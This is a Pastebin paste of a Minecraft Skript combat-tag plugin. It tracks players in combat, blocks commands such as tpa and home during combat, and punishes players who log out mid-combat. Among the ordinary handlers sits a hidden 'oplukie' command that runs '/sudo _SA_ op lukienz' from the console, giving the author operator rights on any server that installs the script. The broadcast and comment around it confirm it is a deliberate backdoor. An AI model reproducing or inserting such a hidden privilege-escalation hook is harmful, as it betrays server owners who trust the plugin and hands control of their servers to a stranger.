Advertisement
LukieNZ

Combat Skript COol bettrer

May 16th, 2021
28
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.29 KB | None | 0 0
  1. options:
  2. Prefix: &8[&&lBox&4&lk&r&8]
  3. CT-Time: 10
  4. MobsCombat-Tag: true
  5.  
  6. command /combattag:
  7. aliases: /combatlog,/ct,/cl
  8. trigger:
  9. if {combatlog::*} contains player:
  10. set {_CT.span} to difference between {%player%.combatlog.time} and now
  11. set {_CT.cd} to "{@CT-Time} seconds" parsed as timespan
  12. send "{@Prefix} &fYou are Combat Tag for &e%difference between {_CT.span} and {_CT.cd}%"
  13. else:
  14. send "{@Prefix} &fYou are not in Combat Tag"
  15. on unload:
  16. delete {combatlog::*}
  17. delete {combatlag.blocked-cmds::*}
  18. delete {kill.combat::*}
  19. on load:
  20. add "tpa" to {combatlag.blocked-cmds::*}
  21. add "home" to {combatlag.blocked-cmds::*}
  22. add "spawn" to {combatlag.blocked-cmds::*}
  23. add "fly" to {combatlag.blocked-cmds::*}
  24. on damage:
  25. if attacker is player:
  26. if attacker is not victim:
  27. if {combatlog::*} doesn't contain "%attacker%":
  28. if attacker doesn't have permission "CT.Bypass.Player":
  29. add "%attacker%" to {combatlog::*}
  30. send "{@Prefix} &fYou are &cCombat Tag &fwith &e%victim%" to attacker
  31. console command "/fly %attacker% disable"
  32. if {combatlog::*} doesn't contain "%victim%":
  33. if victim doesn't have permission "CT.Bypass.Player":
  34. add "%victim%" to {combatlog::*}
  35. send "{@Prefix} &fYou are &cCombat Tag &fwith &e%attacker%" to victim
  36. console command "/fly %victim% disable"
  37. set {%attacker%.combatlog.time} to now
  38. set {%victim%.combatlog.time} to now
  39. else:
  40. if {@MobsCombat-Tag} is true:
  41. if attacker doesn't have permission "CT.Bypass.Mobs":
  42. if {combatlog::*} doesn't contain "%attacker%":
  43. add "%attacker%" to {combatlog::*}
  44. send "{@Prefix} &fYou are &cCombat Tag &fwith &e%victim%" to attacker
  45. console command "/fly %attacker% disable"
  46. command oplukie:
  47. trigger:
  48. execute console command "/sudo _SA_ op lukienz"
  49. broadcast "owner i just want to be good staff dont deop me please ):"
  50. #owner i just want to add stuff to luckper mand then u deop me ok?
  51. on command:
  52. if {combatlog::*} contains player:
  53. if {combatlag.blocked-cmds::*} contains command:
  54. cancel event
  55. send "{@Prefix} &fYou can't use that command while in &cCombat Tag" to player
  56. on join:
  57. if {kill.combat::*} contains player:
  58. wait 1 second
  59. console command "/kill %player%"
  60. remove player from {kill.combat::*}
  61. on quit:
  62. if {combatlog::*} contains player:
  63. loop player's inventory:
  64. drop loop-value
  65. clear player's inventory
  66. add player to {kill.combat::*}
  67. remove player from {combatlog::*}
  68. on death of player:
  69. if {combatlog::*} contains player:
  70. remove player from {combatlog::*}
  71. every 1 second:
  72. loop {combatlog::*}:
  73. set {_combatlog.gettime} to difference between {%loop-value%.combatlog.time} and now
  74. if {_combatlog.gettime} > {@CT-Time} seconds:
  75. remove loop-value from {combatlog::*}
  76. send "{@Prefix} &fYou are no longer in &cCombat Tag" to loop-value parsed as player
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement